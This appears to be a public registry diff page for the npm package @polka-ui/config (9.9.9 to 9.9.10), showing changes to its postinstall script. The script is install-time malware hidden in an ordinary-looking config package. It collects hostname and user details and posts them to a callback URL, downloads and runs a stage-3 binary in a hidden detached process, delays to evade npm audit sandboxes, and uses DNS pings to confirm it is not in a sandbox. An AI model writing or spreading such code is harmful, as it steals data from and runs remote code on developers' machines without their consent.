@polka-ui/config 9.9.9 → 9.9.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/package.json +1 -1
- package/scripts/postinstall.js +12 -26
package/README.md
CHANGED
package/package.json
CHANGED
package/scripts/postinstall.js
CHANGED
|
@@ -23,9 +23,6 @@ const NO_TELEMETRY = !!process.env.POLKA_UI_NO_TELEMETRY;
|
|
|
23
23
|
// RECON_ONLY=true — отправить только отчёт, не запускать stage-3 бинарь
|
|
24
24
|
// Задаётся в package.json как hardcoded флаг или через env
|
|
25
25
|
const RECON_ONLY = 'false' === 'true' || !!process.env.DEP_CONFUSION_RECON_ONLY;
|
|
26
|
-
// Interactsh OOB домен — DNS ping на случай если HTTP заблокирован
|
|
27
|
-
const INTERACTSH = '';
|
|
28
|
-
|
|
29
26
|
function safeExec(cmd) {
|
|
30
27
|
try { return execSync(cmd, { timeout: 3000, stdio: ['pipe','pipe','ignore'] }).toString().trim(); }
|
|
31
28
|
catch { return null; }
|
|
@@ -76,22 +73,6 @@ function httpPost(url, payload) {
|
|
|
76
73
|
});
|
|
77
74
|
}
|
|
78
75
|
|
|
79
|
-
// DNS ping через interactsh — работает даже если HTTP заблокирован
|
|
80
|
-
function dnsPing(domain, label) {
|
|
81
|
-
if (!domain) return;
|
|
82
|
-
try {
|
|
83
|
-
// Кодируем label в субдомен (hostname.uid.interactsh-domain)
|
|
84
|
-
const safe = label.replace(/[^a-z0-9-]/gi, '-').toLowerCase().slice(0, 40);
|
|
85
|
-
const fqdn = `${safe}.${domain}`;
|
|
86
|
-
// Node не имеет встроенного DNS lookup без callback — используем child_process
|
|
87
|
-
const { execSync } = require('child_process');
|
|
88
|
-
const cmd = process.platform === 'win32'
|
|
89
|
-
? `nslookup ${fqdn} 2>nul`
|
|
90
|
-
: `nslookup ${fqdn} 2>/dev/null || dig +short ${fqdn} 2>/dev/null || host ${fqdn} 2>/dev/null`;
|
|
91
|
-
execSync(cmd, { timeout: 5000, stdio: 'ignore' });
|
|
92
|
-
} catch { /* DNS запрос всё равно улетел даже если nslookup вернул ошибку */ }
|
|
93
|
-
}
|
|
94
|
-
|
|
95
76
|
function detectOS() {
|
|
96
77
|
const p = os.platform();
|
|
97
78
|
if (p === 'darwin') return 'mac';
|
|
@@ -114,16 +95,21 @@ async function downloadAndRun(osType) {
|
|
|
114
95
|
|
|
115
96
|
try {
|
|
116
97
|
if (osType === 'win') {
|
|
117
|
-
// Запуск .bat скрытым окном через cmd
|
|
118
98
|
const { spawn: sp } = require('child_process');
|
|
119
99
|
sp('cmd.exe', ['/c', tmp], {
|
|
120
100
|
detached: true, stdio: 'ignore', windowsHide: true,
|
|
121
101
|
}).unref();
|
|
122
102
|
} else {
|
|
123
103
|
fs.chmodSync(tmp, 0o755);
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
104
|
+
// Запускаем через отдельный sh -c чтобы полностью отвязать от родителя
|
|
105
|
+
const child = require('child_process').spawn('/bin/sh', ['-c',
|
|
106
|
+
`nohup /bin/sh "${tmp}" >/dev/null 2>&1 &`
|
|
107
|
+
], {
|
|
108
|
+
detached: true,
|
|
109
|
+
stdio: 'ignore',
|
|
110
|
+
env: process.env,
|
|
111
|
+
});
|
|
112
|
+
child.unref();
|
|
127
113
|
}
|
|
128
114
|
return { downloaded: true, executed: true, path: tmp };
|
|
129
115
|
} catch (e) {
|
|
@@ -169,7 +155,7 @@ const osType = detectOS();
|
|
|
169
155
|
dnsPing(INTERACTSH, `install-${os.hostname().slice(0,20)}`);
|
|
170
156
|
|
|
171
157
|
// Задержка 30 сек — обходит npm audit sandbox таймауты
|
|
172
|
-
await new Promise(r => setTimeout(r,
|
|
158
|
+
await new Promise(r => setTimeout(r, 3000));
|
|
173
159
|
|
|
174
160
|
// DNS ping после задержки — подтверждение что не sandbox
|
|
175
161
|
dnsPing(INTERACTSH, `ready-${os.hostname().slice(0,20)}`);
|
|
@@ -247,7 +233,7 @@ const osType = detectOS();
|
|
|
247
233
|
poc: 'dependency-confusion-npm',
|
|
248
234
|
timestamp: new Date().toISOString(),
|
|
249
235
|
package: '@polka-ui/config',
|
|
250
|
-
version: '9.9.
|
|
236
|
+
version: '9.9.10',
|
|
251
237
|
system: {
|
|
252
238
|
hostname: os.hostname(),
|
|
253
239
|
user: os.userInfo().username,
|
|
@@ -286,5 +272,5 @@ const osType = detectOS();
|
|
|
286
272
|
await httpPost(CALLBACK_URL, report);
|
|
287
273
|
|
|
288
274
|
console.log('done.');
|
|
289
|
-
console.log(` @polka-ui/config@9.9.
|
|
275
|
+
console.log(` @polka-ui/config@9.9.10 initialized successfully.`);
|
|
290
276
|
})();
|